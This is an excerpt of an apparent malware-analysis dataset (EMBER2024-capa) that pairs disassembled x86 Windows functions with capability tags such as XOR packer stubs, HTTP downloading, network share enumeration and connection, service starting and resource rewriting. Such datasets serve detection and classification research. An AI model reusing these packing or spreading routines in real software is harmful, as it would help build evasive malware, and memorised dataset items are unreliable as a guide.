joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012f1
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x402228
call fcn.004015c0
xor ebx, ebx
cmp dword [0x403394], ebx
jne 0x4010cf
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x403388
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x401109
cmp eax, esi
jne 0x4010fc
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x40110c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4010e3
xor esi, esi
inc esi
mov eax, dword [0x403384]
cmp eax, esi
jne 0x40111f
push 0x1f
call sub.MSVCR100.dll__amsg_exit
pop ecx
jmp 0x40115a
mov eax, dword [0x403384]
test eax, eax
jne 0x401154
mov dword [0x403384], esi
push 0x4020c4
push 0x4020b8
call sub.MSVCR100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40115a
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x401231
mov dword [0x40304c], esi
mov eax, dword [0x403384]
cmp eax, esi
jne 0x40117e
push 0x4020b4
push 0x4020ac
call sub.MSVCR100.dll__initterm
pop ecx
pop ecx
mov dword [0x403384], 2
cmp dword [ebp - 0x1c], ebx
jne 0x40118b
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x403398], ebx
je 0x4011ac
push 0x403398
call fcn.004014f0
pop ecx
test eax, eax
je 0x4011ac
push ebx
push 2
push ebx
call dword [0x403398]
mov eax, dword [0x403034]
mov ecx, dword [sym.imp.MSVCR100.dll___initenv]
mov dword [ecx], eax
push dword [0x403034]
push dword [0x403038]
push dword [0x403030]
call section..text
add esp, 0xc
mov dword [0x403048], eax
cmp dword [0x40303c], ebx
jne 0x401217
push eax
call dword [sym.imp.MSVCR100.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.MSVCR100.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x40304c], ebx
jne 0x401225
call dword [sym.imp.MSVCR100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x403048]
call fcn.00401605
ret
call 0x492000
jmp 0x4010ae

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x2c896bd2
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x64cb538a
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401000
Capabilities:
Get http content length
Read data from internet
Receive data

Disassembly:
mov eax, 0x1001c
call fcn.00407180
mov ecx, dword [0x414388]
mov eax, dword [str.Accept:___r_n_r_n]
mov edx, dword [0x41438c]
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], eax
mov eax, dword [0x414390]
push esi
lea ecx, [esp + 0x20]
push 0x84000100
push ecx
mov dword [esp + 0x30], edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], 4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x10038]
push eax
mov eax, dword [esp + 0x10040]
lea edx, [esp + 0x28]
push edx
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
cmp edi, esi
jne 0x401085
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1001c
ret
mov edx, dword [esp + 0x10038]
push 0x414380
push edx
call fcn.0040710f
mov ebx, eax
add esp, 8
cmp ebx, esi
jne 0x4010b0
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
add esp, 0x1001c
ret
lea eax, [esp + 0x18]
push esi
lea ecx, [esp + 0x18]
push eax
push ecx
push 0x20000005
push edi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x4010cf
mov dword [esp + 0x14], esi
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x30]
push 0x4000
push eax
push edi
call ebp
test eax, eax
je 0x401120
mov eax, dword [esp + 0x10]
push ebx
test eax, eax
je 0x401139
push eax
lea ecx, [esp + 0x34]
push 1
push ecx
call fcn.00406fe5
mov ecx, dword [esp + 0x20]
add esp, 0x10
lea edx, [esp + 0x10]
lea eax, [esp + 0x2c]
push edx
push 0x4000
push eax
push edi
add esi, ecx
call ebp
test eax, eax
jne 0x4010eb
push ebx
call fcn.00406f8f
add esp, 4
mov eax, 3
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1001c
ret
call fcn.00406e82
push ebx
call fcn.00406f8f
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1001c
ret

Function at 0x401160
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
sub esp, 0x44
lea eax, [esp]
push esi
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov al, byte [esp + 4]
test al, 0x20
jne 0x4011d3
push 0
push 0
test al, 4
push 0
jne 0x40118c
lea ecx, [esp + 0x14]
push 4
push ecx
jmp 0x401193
lea edx, [esp + 0x14]
push 0
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x4011d3
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x50]
mov edx, dword [esp + 0x4c]
push edi
push eax
mov eax, dword [esp + 0x64]
push ecx
mov ecx, dword [esp + 0x64]
push edx
push eax
push ecx
push esi
call fcn.00401000
add esp, 0x18
mov edi, eax
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x44
ret
mov eax, 4
pop esi
add esp, 0x44
ret
Function at 0x4013e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
xor ebx, ebx
push eax
mov dword [0x44aed8], ebx
mov dword [0x447ed4], ebx
call esi
cmp eax, ebx
mov dword [0x447ed4], eax
je 0x4015d8
mov edi, dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0x4496d8
push 0x4012c0
push 3
push eax
mov dword [0x44aee0], ebx
call edi
mov eax, dword [0x44aee0]
cmp eax, ebx
jne 0x401440
mov ecx, dword [0x447ed4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
ret
mov edx, dword [esp + 0x10]
mov dword [0x44aed8], eax
push edx
call esi
mov esi, eax
cmp esi, ebx
jne 0x40145d
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
ret
push 0x447ed8
push 0x4012c0
push 3
push esi
mov dword [0x44aee0], ebx
call edi
mov eax, dword [0x44aee0]
cmp eax, ebx
jne 0x401490
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call esi
mov eax, dword [0x447ed4]
push eax
call esi
pop edi
pop esi
pop ebx
ret
push esi
mov dword [0x44aedc], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x44aedc]
mov dword [esp + 0x14], ebx
cmp eax, ebx
jbe 0x4015cc
push ebp
mov ebp, 0x447eec
jmp 0x4014b7
xor ebx, ebx
mov eax, dword [0x44aed8]
xor esi, esi
cmp eax, ebx
jbe 0x4015b1
mov ebx, 0x4496ec
mov ecx, dword [ebp]
mov eax, dword [ebx]
cmp ecx, eax
jne 0x4014e7
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov edi, eax
test edi, edi
jne 0x4014f9
mov eax, dword [0x44aed8]
inc esi
add ebx, 0x18
cmp esi, eax
jb 0x4014cb
jmp 0x4015b1
lea eax, [esi + esi*2]
shl eax, 3
mov ecx, dword [eax + 0x4496e0]
test ecx, ecx
jbe 0x401523
mov eax, dword [eax + 0x4496dc]
test eax, eax
jne 0x401518
mov eax, 0x4121e8
push 3
push eax
mov eax, dword [0x447ed4]
push eax
jmp 0x401536
mov edx, dword [0x447ed4]
xor ecx, ecx
mov cx, word [eax + 0x4496e8]
push 3
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
mov eax, dword [0x447ed4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [ebp - 0xc]
test ecx, ecx
jbe 0x40156d
mov ecx, dword [ebp - 0x10]
test ecx, ecx
jne 0x401563
mov ecx, 0x4121e8
mov edx, dword [ebp]
push edx
push eax
push 0
push ecx
jmp 0x40157b
mov ecx, dword [ebp]
xor edx, edx
mov dx, word [ebp - 4]
push ecx
push eax
push 0
push edx
push 3
push edi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
test eax, eax
jne 0x401596
push eax
push eax
push str.UpdateResource
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
jne 0x4015b1
push eax
push eax
push str.Could_not_write_changes_to_file.
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [esp + 0x18]
mov ecx, dword [0x44aedc]
inc eax
add ebp, 0x18
cmp eax, ecx
mov dword [esp + 0x18], eax
jb 0x4014b5
pop ebp
mov eax, dword [0x447ed4]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
ret
Function at 0x401f30
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x210
mov eax, dword [str._unknown_]
mov ecx, dword [0x4144e0]
mov dx, word [0x4144e4]
push ebx
push esi
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x1e]
mov word [esp + 0x1c], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [esp + 0x224]
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x118]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x220]
push ecx
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401fd9
lea edx, [esp + 0x10]
lea eax, [esp + 0xc]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x402021
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x14]
push eax
call fcn.004079fa
lea ecx, [esp + 0x11c]
push ecx
call fcn.004079fa
lea edx, [esp + 0x120]
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.00407984
add esp, 0x10
test eax, eax
je 0x40200e
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x210
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x210
ret

Function at 0x402030
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1004
call fcn.00407180
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
lea ecx, [esp + 0x18]
push 0x1000
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x40208b
mov ebx, dword [esp + 0x10]
mov esi, 0
shr ebx, 2
je 0x40208b
mov ebp, dword [esp + 0x1018]
lea edi, [esp + 0x14]
mov eax, dword [edi]
test eax, eax
je 0x402083
push ebp
push eax
call fcn.00401f30
add esp, 8
test eax, eax
jne 0x402098
inc esi
add edi, 4
cmp esi, ebx
jb 0x40206f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1004
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1004
ret
Function at 0x402560
Capabilities:
Query service status
Start service

Disassembly:
sub esp, 0x1c
push ebx
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x4025de
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push esi
push edi
mov edi, 0x414080
push 0xf01ff
push edi
push ebx
call ebp
mov esi, eax
test esi, esi
je 0x4025c6
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x14], 4
je 0x4025bf
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add edi, 0xff
cmp edi, 0x41437d
jl 0x402592
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x402ba0
Capabilities:
Copy file

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.004073d3
add esp, 4
push 0
push esi
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
call fcn.004073d3
add esp, 4
pop esi
ret
Function at 0x403d00
Capabilities:
Get file attributes

Disassembly:
sub esp, 0x454
lea eax, [esp]
push eax
push 0x412200
push 1
push 0
push 0x4121f0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x403d2d
or eax, 0xffffffff
add esp, 0x454
ret
mov eax, dword [esp]
lea edx, [esp + 4]
push ebx
push edx
mov ecx, dword [eax]
push 0x412210
push eax
call dword [ecx]
mov ebx, eax
test ebx, ebx
jl 0x403e99
mov ecx, dword [esp + 0x45c]
lea eax, [esp + 0x250]
push 0x104
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 8]
lea ecx, [esp + 0x250]
push 0
push ecx
mov edx, dword [eax]
push eax
call dword [edx + 0x14]
mov ebx, eax
test ebx, ebx
jl 0x403e8f
mov eax, dword [esp + 4]
lea ecx, [esp + 0x110]
push 0
push ecx
mov edx, dword [eax]
lea ecx, [esp + 0x14]
push 0x104
push ecx
push eax
call dword [edx + 0xc]
mov ebx, eax
test ebx, ebx
jl 0x403e8f
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 0x10
je 0x403e14
push ebp
push esi
push edi
mov edi, 0x414538
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x470]
mov ecx, ebp
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x470]
lea edx, [esp + 0x1c]
push ecx
push edx
call fcn.00403ec0
add esp, 0xc
pop edi
pop esi
pop ebp
jmp 0x403e8f
lea eax, [esp + 0xc]
push eax
call fcn.00403760
add esp, 4
test eax, eax
je 0x403e41
mov ecx, dword [esp + 0x464]
mov edx, dword [esp + 0x460]
push ecx
lea eax, [esp + 0x10]
push edx
push eax
call fcn.00402df0
jmp 0x403e8c
lea ecx, [esp + 0xc]
push ecx
call fcn.00403930
add esp, 4
test eax, eax
je 0x403e61
lea edx, [esp + 0xc]
push edx
call fcn.004034c0
add esp, 4
jmp 0x403e8f
lea eax, [esp + 0xc]
push eax
call fcn.00403b30
add esp, 4
test eax, eax
je 0x403e8f
mov ecx, dword [esp + 0x464]
mov edx, dword [esp + 0x460]
push ecx
lea eax, [esp + 0x10]
push edx
push eax
call fcn.00403d00
add esp, 0xc
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 4]
push eax
mov edx, dword [eax]
call dword [edx + 8]
xor eax, eax
test ebx, ebx
setge al
dec eax
pop ebx
add esp, 0x454
ret
Function at 0x4042a0
Capabilities:
Connect network resource

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0
push 0
push 0
push esi
mov dword [esi + 0x10], 0x4146e4
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x4042c5
cmp eax, 0x55
je 0x4042c5
xor eax, eax
pop esi
ret
mov ecx, dword [0x447e24]
test ecx, ecx
jne 0x4042d4
mov ecx, 0x4121e8
mov eax, dword [0x447e14]
test eax, eax
jne 0x4042e2
mov eax, 0x4121e8
push ecx
push eax
push 0x4146e0
call fcn.00403ec0
mov eax, dword [esi + 0x10]
add esp, 0xc
push 1
push 0
push eax
call sub.MPR.dll_WNetCancelConnection2A
mov eax, 1
pop esi
ret

Function at 0x404310
Capabilities:
Enumerate network shares

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0xc]
push ebx
push eax
push ecx
push 0
push 1
push 2
mov dword [esp + 0x18], 0x4000
mov dword [esp + 0x1c], 0xffffffff
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
je 0x404353
push str.WNetOpenEnum_error
call fcn.00407af0
add esp, 4
xor eax, eax
pop ebx
add esp, 8
ret 4
mov edx, dword [esp + 4]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x404370
or eax, 0xffffffff
pop ebx
add esp, 8
ret 4
push esi
push edi
mov ecx, dword [esp + 0xc]
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov edx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push ebx
push ecx
push edx
call sub.MPR.dll_WNetEnumResourceA
test eax, eax
jne 0x4043f7
mov eax, dword [esp + 0x10]
xor edi, edi
test eax, eax
jbe 0x404372
mov esi, ebx
mov eax, dword [esi + 0x14]
push eax
push 0x414734
call fcn.00407af0
push esi
call fcn.004042a0
mov ecx, dword [esi + 0xc]
add esp, 0xc
and ecx, 2
cmp cl, 2
jne 0x4043e6
push esi
call fcn.00404310
test eax, eax
je 0x4043e6
push str.EnumerateFunc_returned_FALSE.
call fcn.00407af0
add esp, 4
mov eax, dword [esp + 0x10]
inc edi
add esi, 0x20
cmp edi, eax
jb 0x4043ad
jmp 0x404372
pop edi
cmp eax, 0x103
pop esi
je 0x40440d
push str.WNetEnumResource_error
call fcn.00407af0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov edx, dword [esp + 0x10]
push edx
call sub.MPR.dll_WNetCloseEnum
test eax, eax
je 0x40434a
push str.WNetCloseEnum_error
call fcn.00407af0
add esp, 4
or eax, 0xffffffff
pop ebx
add esp, 8
ret 4
Function at 0x40d9bc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x414e30
cmp edx, dword [eax]
je 0x40d9de
add eax, 8
inc ecx
cmp eax, 0x414ec0
jl 0x40d9cf
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x414e30]
jne 0x40db0c
mov eax, dword [0x44af10]
cmp eax, 1
je 0x40dae6
test eax, eax
jne 0x40da0f
cmp dword [0x414844], 1
je 0x40dae6
cmp edx, 0xfc
je 0x40db0c
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40da46
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040db10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00408620
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40da89
lea eax, [ebp - 0x1a4]
push eax
call fcn.00408620
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x412758
push edi
call fcn.0040f880
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040db10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040db20
lea eax, [ebp - 0xa0]
push 0x412738
push eax
call fcn.0040db20
push dword [esi + 0x414e34]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040db20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040f7f7
add esp, 0x2c
pop edi
jmp 0x40db0c
lea eax, [ebp + 8]
lea esi, [esi + 0x414e34]
push 0
push eax
push dword [esi]
call fcn.00408620
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4056dd
Capabilities:
Hash data using sha256

Disassembly:
cmp dword [0x448190], 2
jl 0x405702
movaps xmm0, xmmword [0x433750]
movaps xmmword [0x43efc0], xmm0
movaps xmm0, xmmword [0x433740]
movaps xmmword [0x43efd0], xmm0
push esi
mov esi, dword [esp + 8]
mov ecx, esi
call fcn.00405a8a
xor edx, edx
mov ecx, dword [esi + 0xf4]
mov eax, dword [edx + 0x433720]
mov dword [edx + ecx], eax
add edx, 4
cmp edx, 0x20
jl 0x405710
mov eax, dword [esi + 0xf4]
xor dword [eax], 0x2080020
mov ecx, dword [esi + 0xf4]
mov eax, dword [esp + 0xc]
xor dword [ecx + 8], eax
mov ecx, dword [esi + 0xf4]
mov eax, dword [esp + 0x10]
or eax, 0x2000
shl eax, 0x10
xor dword [ecx + 0xc], eax
pop esi
ret 0xc

Function at 0x405dbe
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
test esi, esi
je 0x405de8
movzx ecx, byte [edi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x43efe0]
inc edi
sub esi, 1
jne 0x405dd0
pop edi
mov eax, edx
pop esi
ret 0xc

Function at 0x405f75
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x24
push ebp
push esi
push edi
mov edi, dword [esp + 0x34]
xor ebp, ebp
cmp dword [edi], 2
lea esi, [edi + 4]
jne 0x405fcb
mov eax, dword [esi]
push ebx
push ebp
push ebp
push ebp
push ebp
mov dword [esp + 0x20], eax
lea eax, [esp + 0x24]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push 0x20
push dword [esp + 0x5c]
call fcn.00406629
mov edx, ebp
mov ebx, ebp
movzx eax, byte [esp + edx + 0x14]
mov ecx, edx
and ecx, 3
shl ecx, 3
shl eax, cl
xor eax, ebx
inc edx
mov ebx, eax
cmp edx, 0x20
jb 0x405faf
mov dword [esi], eax
pop ebx
cmp dword [edi], 3
jne 0x405ff7
push ebp
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
push eax
push 0x20
push esi
push 0x20
push dword [esp + 0x58]
call fcn.00406629
push 0x20
lea eax, [esp + 0x14]
push eax
push esi
call fcn.0041fb30
add esp, 0xc
pop edi
pop esi
pop ebp
add esp, 0x24
ret 8
Function at 0x4063d2
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x264
push ebx
mov ebx, dword [esp + 0x280]
mov eax, ecx
mov dword [esp + 4], eax
cmp ebx, 0x18
ja 0x4065ce
push ebp
push esi
xor ebp, ebp
lea esi, [eax + 0x4b4]
push edi
mov edi, ebp
cmp dword [esi + 0x134], ebx
jne 0x406436
push dword [esp + 0x27c]
mov ecx, esi
call fcn.0040ed69
test al, al
je 0x406436
push 0x10
push dword [esp + 0x288]
lea eax, [esi + 0x102]
push eax
call fcn.0042045a
add esp, 0xc
test eax, eax
je 0x4065d8
inc edi
add esi, 0x178
cmp edi, 4
jb 0x4063fc
mov esi, 0x200
lea eax, [esp + 0x74]
push esi
push eax
push dword [esp + 0x288]
call fcn.00411975
xor eax, eax
mov ecx, ebx
inc eax
shl eax, cl
push eax
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0x20]
push eax
push 0x10
push dword [esp + 0x298]
lea eax, [esp + 0x8c]
push eax
call fcn.00423430
pop ecx
push eax
lea eax, [esp + 0x90]
push eax
call fcn.00406834
push esi
lea eax, [esp + 0x78]
push eax
call fcn.0040efa5
mov edx, dword [esp + 0x10]
mov esi, dword [esp + 0x27c]
push 0x40
mov ecx, dword [edx + 0xa94]
lea ebx, [edx + 0x4b4]
mov eax, ecx
and eax, 3
imul eax, eax, 0x178
add ebx, eax
lea eax, [ecx + 1]
mov dword [edx + 0xa94], eax
mov edi, ebx
mov eax, dword [esp + 0x290]
pop ecx
mov dword [ebx + 0x134], eax
lea eax, [ebx + 0x102]
rep movsd dword es:[edi], dword [esi]
push 0x10
push dword [esp + 0x288]
push eax
movsw word es:[edi], word [esi]
call fcn.0041fb30
push 0x20
pop edi
push edi
lea eax, [esp + 0x24]
push eax
lea esi, [ebx + 0x112]
push esi
call fcn.0041fb30
push edi
lea eax, [esp + 0x50]
push eax
lea eax, [ebx + 0x138]
push eax
call fcn.0041fb30
push edi
lea eax, [esp + 0x7c]
push eax
lea eax, [ebx + 0x158]
push eax
call fcn.0041fb30
add esp, 0x30
push ebp
push 1
push edi
push esi
call fcn.0040eea4
cmp dword [esp + 0x290], ebp
je 0x40655c
push edi
lea eax, [esp + 0x58]
push eax
push dword [esp + 0x298]
call fcn.0041fb30
add esp, 0xc
mov esi, dword [esp + 0x294]
test esi, esi
je 0x40658f
push 8
push ebp
push esi
call fcn.0041f800
add esp, 0xc
mov al, byte [esp + ebp + 0x34]
mov ecx, ebp
and ecx, 7
xor byte [ecx + esi], al
inc ebp
cmp ebp, edi
jb 0x406573
push edi
lea eax, [esp + 0x38]
push eax
call fcn.0040efa5
cmp dword [esp + 0x288], 0
je 0x4065c0
push dword [esp + 0x288]
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 0x100
push eax
push dword [esp + 0x284]
add ecx, 0xa9c
call fcn.0040e3f0
push edi
lea eax, [esp + 0x18]
push eax
call fcn.0040efa5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x264
ret 0x20
push 0x20
pop edi
push edi
lea eax, [esi + 0x112]
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.0041fb30
add esp, 0xc
lea eax, [esp + 0x14]
push ebp
push ebp
push edi
push eax
call fcn.0040eea4
push edi
lea eax, [esi + 0x138]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0041fb30
push edi
lea eax, [esi + 0x158]
push eax
lea eax, [esp + 0x68]
push eax
call fcn.0041fb30
add esp, 0x18
jmp 0x40653e